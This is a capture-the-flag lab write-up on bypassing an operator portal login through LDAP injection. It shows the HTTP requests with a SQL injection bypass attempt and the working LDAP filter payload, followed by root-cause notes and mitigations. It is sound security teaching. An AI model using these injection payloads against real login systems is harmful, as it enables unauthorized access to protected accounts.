LDAP Injection Leads to Authentication Bypass | MeltDown

Lab Link

Lab: MeltDown

---

Overview

MeltDown was a WebVerse Pro mystery challenge based around a corporate-looking power utility website for Hadley Ridge Power & Light. The public-facing application looked clean, but the hidden operator portal reused an old directory-backed login flow.

The vulnerable area was the Operator Portal at /admin/login. A normal login attempt failed, and classic SQL injection payloads did not work. The useful clue was the error message:

Failed to Authenticate to Directory Server

That error suggested that the backend was not simply checking a SQL database. Instead, it was likely authenticating against a directory service such as LDAP.

Objective

Gain administrative access to the application and retrieve the challenge flag.

Vulnerability Identification

/admin/login
└── Username and password submitted to backend authentication
    └── Error revealed directory-backed authentication
        └── SQL injection payload failed
            └── LDAP wildcard/filter payload succeeded
                └── Authentication bypass
                    └── Authenticated session issued
                        └── /admin dashboard exposed SCADA gateway key

The root issue was LDAP Injection. The application appeared to build an LDAP query using unsanitized user input. By injecting LDAP filter syntax into the username field, the authentication filter could be altered to match a valid user.

Reconnaissance

I started by testing the admin login with default credentials.

POST /admin/login HTTP/2
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin

The server returned 401 Unauthorized.

HTTP/2 401 Unauthorized
X-Powered-By: Express

The page showed the following error:

<div class="portal-error">Failed to Authenticate to Directory Server</div>

This message was the main clue. Since the application mentioned a Directory Server, I shifted from SQL injection testing to LDAP injection testing.

Failed SQL Injection Attempt

Before confirming LDAP injection, I tested a basic SQL authentication bypass payload.

POST /admin/login HTTP/2
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=admin%27+or+1%3D1--+-&password=test

The server still returned 401 Unauthorized.

HTTP/2 401 Unauthorized

The application reflected the username safely back into the form value:

<input class="portal-input" type="text" name="username" value="admin&#39; or 1=1-- -">

This made SQL injection unlikely for this endpoint.

Exploitation

Since the login error referenced a directory server, I tested a classic LDAP filter injection payload.

Payload:

*)(|(uid=*

URL-encoded form body:

username=*%29%28%7C%28uid%3D*&password=test

Request:

POST /admin/login HTTP/2
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=*%29%28%7C%28uid%3D*&password=test

The server responded with a redirect to the admin dashboard.

HTTP/2 302 Found
Location: /admin
Set-Cookie: hr_session=<REDACTED>; Path=/; HttpOnly; SameSite=Lax

This confirmed that the LDAP filter injection successfully bypassed authentication and created an authenticated session.

Accessing the Admin Dashboard

Using the issued hr_session cookie, I requested /admin.

GET /admin HTTP/2
Host: <LAB_HOST>
Cookie: hr_session=<REDACTED>

The server returned the authenticated operator dashboard.

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8

The dashboard showed that the session was signed in as an operator:

<p class="dash-who">Signed in as <strong>Eleanor Shaw</strong></p>

Proof / Flag

Inside the admin dashboard, the SCADA Gateway panel exposed a restricted integration key.

<div class="cred-block">
  <span class="cred-label">Gateway integration key</span>
  <code class="flag">WEBVERSE{REDACTED}</code>
</div>

The flag was retrieved from the authenticated /admin page.

Root Cause

The login backend likely constructed an LDAP search filter using raw user-controlled input. A vulnerable implementation might look conceptually like this:

(&(uid=<username>)(password=<password>))

When the username was replaced with injected LDAP syntax, the filter logic could be manipulated:

*)(|(uid=*

This allowed the query to match a valid directory user without knowing the correct password.

Impact

An attacker could bypass the operator portal login and access restricted administrative functionality.

In this challenge, the impact was:

• Unauthorized access to the control-room dashboard
• Session creation as a valid operator
• Disclosure of the SCADA gateway integration key
• Retrieval of the challenge flag

In a real environment, this type of issue would be high risk because directory-backed authentication is often trusted across sensitive internal systems.

Mitigation

To prevent LDAP injection:

• Never concatenate raw user input into LDAP filters
• Escape LDAP special characters such as *, (, ), \\, and null bytes
• Use safe LDAP filter-building functions provided by the LDAP library
• Enforce strict allowlists for usernames
• Keep authentication error messages generic
• Add logging and alerting for malformed directory queries
• Require MFA for operator and administrative portals
• Limit the privileges of directory-bound service accounts

Lessons Learned

• Error messages can reveal the authentication backend.
• SQL injection payloads failing does not mean the login is safe.
• The phrase Directory Server strongly suggests testing LDAP-specific payloads.
• LDAP wildcard and filter-breaking syntax can turn a failed login into a full authentication bypass.
• Successful exploitation was confirmed by the 302 Found redirect and the issued hr_session cookie.

Final Takeaway

MeltDown demonstrated a clean example of LDAP Injection leading to authentication bypass. The application trusted user-controlled login input inside a directory query, allowing a crafted username payload to match an operator account and expose the restricted SCADA gateway integration key.